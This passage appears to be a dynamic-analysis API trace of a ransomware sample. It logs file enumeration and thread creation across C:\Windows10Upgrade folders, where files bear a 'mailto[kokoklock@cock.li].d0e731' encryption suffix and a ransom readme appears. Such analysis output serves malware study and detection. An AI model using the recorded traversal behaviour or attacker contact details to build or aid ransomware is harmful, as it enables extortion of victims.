_Dest="C:\\Windows10Upgrade\\resources\\i386\\nxquery.cat.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\i386\\nxquery.cat.mailto[kokoklock@cock.li].d0e731" [0168.980] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fee2e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d0 [0168.980] FindNextFileW (in: hFindFile=0x2f7fca0, lpFindFileData=0x2fe1770 | out: lpFindFileData=0x2fe1770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3b017f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b017f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x873418e1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x697, dwReserved0=0x0, dwReserved1=0x0, cFileName="nxquery.inf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="NXQUER~2.D0E")) returned 1 [0168.981] wcscmp (_String1="nxquery.inf.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.981] wcscmp (_String1="nxquery.inf.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.981] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa0) returned 0x2fee438 [0168.981] wcscpy (in: _Dest=0x2fee438, _Source="C:\\Windows10Upgrade\\resources\\i386" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386") returned="C:\\Windows10Upgrade\\resources\\i386" [0168.981] wcscat (in: _Dest=0x2fee438, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386\\") returned="C:\\Windows10Upgrade\\resources\\i386\\" [0168.981] wcscat (in: _Dest=0x2fee438, _Source="nxquery.inf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386\\nxquery.inf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\i386\\nxquery.inf.mailto[kokoklock@cock.li].d0e731" [0168.981] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fee438, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d4 [0168.982] FindNextFileW (in: hFindFile=0x2f7fca0, lpFindFileData=0x2fe1770 | out: lpFindFileData=0x2fe1770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3b2895, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b2895, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x4eb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NXQuery.sys", cAlternateFileName="")) returned 1 [0168.982] wcscmp (_String1="NXQuery.sys", _String2=".") returned 1 [0168.982] wcscmp (_String1="NXQuery.sys", _String2="..") returned 1 [0168.982] FindNextFileW (in: hFindFile=0x2f7fca0, lpFindFileData=0x2fe1770 | out: lpFindFileData=0x2fe1770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3b2895, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b2895, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x4eb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NXQuery.sys", cAlternateFileName="")) returned 0 [0168.982] FindClose (in: hFindFile=0x2f7fca0 | out: hFindFile=0x2f7fca0) returned 1 [0168.983] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1770) returned 1 [0168.983] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f63f28) returned 1 [0168.983] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa18b0) returned 1 [0168.983] RtlExitUserThread (Status=0x0) Thread: id = 1696 os_tid = 0xcdc [0168.470] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x46) returned 0x2fa1180 [0168.470] wcscpy (in: _Dest=0x2fa1180, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux" [0168.470] wcscat (in: _Dest=0x2fa1180, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0168.470] wcscat (in: _Dest=0x2fa1180, _Source="*" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\*") returned="C:\\Windows10Upgrade\\resources\\ux\\*" [0168.470] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe19d8 [0168.470] FindFirstFileW (in: lpFileName="C:\\Windows10Upgrade\\resources\\ux\\*", lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3b3c1b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x872103df, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x872103df, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fd20 [0168.472] wcscmp (_String1=".", _String2=".") returned 0 [0168.472] FindNextFileW (in: hFindFile=0x2f7fd20, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3b3c1b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x872103df, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x872103df, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.473] wcscmp (_String1="..", _String2=".") returned 1 [0168.473] wcscmp (_String1="..", _String2="..") returned 0 [0168.473] FindNextFileW (in: hFindFile=0x2f7fd20, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3b4fa7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b4fa7, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x86e0a4f0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x457, dwReserved0=0x0, dwReserved1=0x0, cFileName="block.png.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="BLOCKP~1.D0E")) returned 1 [0168.473] wcscmp (_String1="block.png.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.473] wcscmp (_String1="block.png.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.473] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x98) returned 0x2fe3900 [0168.473] wcscpy (in: _Dest=0x2fe3900, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux" [0168.473] wcscat (in: _Dest=0x2fe3900, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0168.473] wcscat (in: _Dest=0x2fe3900, _Source="block.png.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\block.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\block.png.mailto[kokoklock@cock.li].d0e731" [0168.947] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe3900, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f0 [0168.947] FindNextFileW (in: hFindFile=0x2f7fd20, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3b8a24, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b8a24, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x86e3075f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1c68, dwReserved0=0x0, dwReserved1=0x0, cFileName="bluelogo.png.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="BLUELO~1.D0E")) returned 1 [0168.947] wcscmp (_String1="bluelogo.png.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.947] wcscmp (_String1="bluelogo.png.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.947] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9e) returned 0x2fee780 [0168.948] wcscpy (in: _Dest=0x2fee780, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux" [0168.948] wcscat (in: _Dest=0x2fee780, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0168.948] wcscat (in: _Dest=0x2fee780, _Source="bluelogo.png.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\bluelogo.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\bluelogo.png.mailto[kokoklock@cock.li].d0e731" [0168.948] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fee780, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x774 [0168.948] FindNextFileW (in: hFindFile=0x2f7fd20, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3b9dbd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b9dbd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x86e56b50, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x19d, dwReserved0=0x0, dwReserved1=0x0, cFileName="bullet.png.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="BULLET~1.D0E")) returned 1 [0168.948] wcscmp (_String1="bullet.png.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.948] wcscmp (_String1="bullet.png.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.948] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9a) returned 0x2fede50 [0168.948] wcscpy (in: _Dest=0x2fede50, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux" [0168.948] wcscat (in: _Dest=0x2fede50, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0168.949] wcscat (in: _Dest=0x2fede50, _Source="bullet.png.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\bullet.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\bullet.png.mailto[kokoklock@cock.li].d0e731" [0168.949] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fede50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x778 [0168.950] FindNextFileW (in: hFindFile=0x2f7fd20, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e0a4f0, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x86e0a4f0, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x86e0a4f0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0168.950] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0168.950] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0168.950] FindNextFileW (in: hFindFile=0x2f7fd20, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3bb141, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3bb141, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x86ea2f4c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1747, dwReserved0=0x0, dwReserved1=0x0, cFileName="default.css.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="DEFAUL~1.D0E")) returned 1 [0168.950] wcscmp (_String1="default.css.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.950] wcscmp (_String1="default.css.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.950] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9c) returned 0x2fedfa0 [0168.950] wcscpy (in: _Dest=0x2fedfa0, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux" [0168.950] wcscat (in: _Dest=0x2fedfa0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0168.950] wcscat (in: _Dest=0x2fedfa0, _Source="default.css.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\default.css.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\default.css.mailto[kokoklock@cock.li].d0e731" [0168.950] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fedfa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x77c [0168.951] FindNextFileW (in: hFindFile=0x2f7fd20, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3bc4cd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3bc4cd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x86ec91a4, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xf50d, dwReserved0=0x0, dwReserved1=0x0, cFileName="default.htm.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="DEFAUL~2.D0E")) returned 1 [0168.951] wcscmp (_String1="default.htm.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.951] wcscmp (_String1="default.htm.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.951] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9c) returned 0x2fee048 [0168.951] wcscpy (in: _Dest=0x2fee048, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux" [0168.951] wcscat (in: _Dest=0x2fee048, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0168.951] wcscat (in: _Dest=0x2fee048, _Source="default.htm.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\default.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\default.htm.mailto[kokoklock@cock.li].d0e731" [0168.951] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fee048, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x780 [0168.952] FindNextFileW (in: hFindFile=0x2f7fd20, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3bd859, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3bd859, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x86eef314, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1aec, dwReserved0=0x0, dwReserved1=0x0, cFileName="default_eos.css.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="DEFAUL~3.D0E")) returned 1 [0168.952] wcscmp (_String1="default_eos.css.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.952] wcscmp (_String1="default_eos.css.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.952] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa4) returned 0x2f90f80 [0168.952] wcscpy (in: _Dest=0x2f90f80, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux" [0168.952] wcscat (in: _Dest=0x2f90f80, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0168.952] wcscat (in: _Dest=0x2f90f80, _Source="default_eos.css.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\default_eos.css.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\default_eos.css.mailto[kokoklock@cock.li].d0e731" [0168.952] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f90f80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x784 [0168.952] FindNextFileW (in: hFindFile=0x2f7fd20, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3bff6c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3bff6c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x86f3b7d2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xdafa, dwReserved0=0x0, dwReserved1=0x0, cFileName="default_eos.htm.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="DEFAUL~4.D0E")) returned 1 [0168.953] wcscmp (_String1="default_eos.htm.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.953] wcscmp (_String1="default_eos.htm.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.953] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa4) returned 0x2f90cc0 [0168.953] wcscpy (in: _Dest=0x2f90cc0, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux" [0168.953] wcscat (in: _Dest=0x2f90cc0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0168.953] wcscat (in: _Dest=0x2f90cc0, _Source="default_eos.htm.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\default_eos.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\default_eos.htm.mailto[kokoklock@cock.li].d0e731" [0168.953] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f90cc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x788 [0168.953] FindNextFileW (in: hFindFile=0x2f7fd20, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3c12fc, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3c12fc, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x86f61a50, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1528, dwReserved0=0x0, dwReserved1=0x0, cFileName="default_oobe.css.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="DE51A0~1.D0E")) returned 1 [0168.953] wcscmp (_String1="default_oobe.css.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.953] wcscmp (_String1="default_oobe.css.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.953] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa6) returned 0x2f912f0 [0168.954] wcscpy (in: _Dest=0x2f912f0, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux" [0168.954] wcscat (in: _Dest=0x2f912f0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0168.954] wcscat (in: _Dest=0x2f912f0, _Source="default_oobe.css.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.css.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.css.mailto[kokoklock@cock.li].d0e731" [0168.954] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f912f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x78c [0168.954] FindNextFileW (in: hFindFile=0x2f7fd20, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3c2685, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3c2685, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x86f87cdc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1016e, dwReserved0=0x0, dwReserved1=0x0, cFileName="default_oobe.htm.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="DEA8A3~1.D0E")) returned 1 [0168.954] wcscmp (_String1="default_oobe.htm.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.954] wcscmp (_String1="default_oobe.htm.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.954] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa6) returned 0x2f91df0 [0168.955] wcscpy (in: _Dest=0x2f91df0, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux" [0168.955] wcscat (in: _Dest=0x2f91df0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0168.955] wcscat (in: _Dest=0x2f91df0, _Source="default_oobe.htm.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.htm.mailto[kokoklock@cock.li].d0e731" [0168.955] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f91df0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x790 [0168.955] FindNextFileW (in: hFindFile=0x2f7fd20, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3c4d9e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x89f17009, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x89f17009, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA", cAlternateFileName="")) returned 1 [0168.955] wcscmp (_String1="EULA", _String2=".") returned 1 [0168.955] wcscmp (_String1="EULA", _String2="..") returned 1 [0168.955] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4c) returned 0x2f88c60 [0168.955] wcscpy (in: _Dest=0x2f88c60, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux" [0168.955] wcscat (in: _Dest=0x2f88c60, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0168.955] wcscat (in: _Dest=0x2f88c60, _Source="EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0168.956] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f88c60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x794 [0168.956] FindNextFileW (in: hFindFile=0x2f7fd20, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5f6eb5, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5f6eb5, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x86fd4190, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x112, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.css.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULACS~1.D0E")) returned 1 [0168.956] wcscmp (_String1="eula.css.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.956] wcscmp (_String1="eula.css.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.956] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x96) returned 0x2fe3680 [0168.956] wcscpy (in: _Dest=0x2fe3680, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux" [0168.956] wcscat (in: _Dest=0x2fe3680, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0168.956] wcscat (in: _Dest=0x2fe3680, _Source="eula.css.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\eula.css.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\eula.css.mailto[kokoklock@cock.li].d0e731" [0168.957] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe3680, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x798 [0168.957] FindNextFileW (in: hFindFile=0x2f7fd20, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5f6eb5, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5f6eb5, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x86ffa346, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xfb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetStarted.png.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="GETSTA~1.D0E")) returned 1 [0168.957] wcscmp (_String1="GetStarted.png.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.957] wcscmp (_String1="GetStarted.png.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.957] RtlAllocateHeap 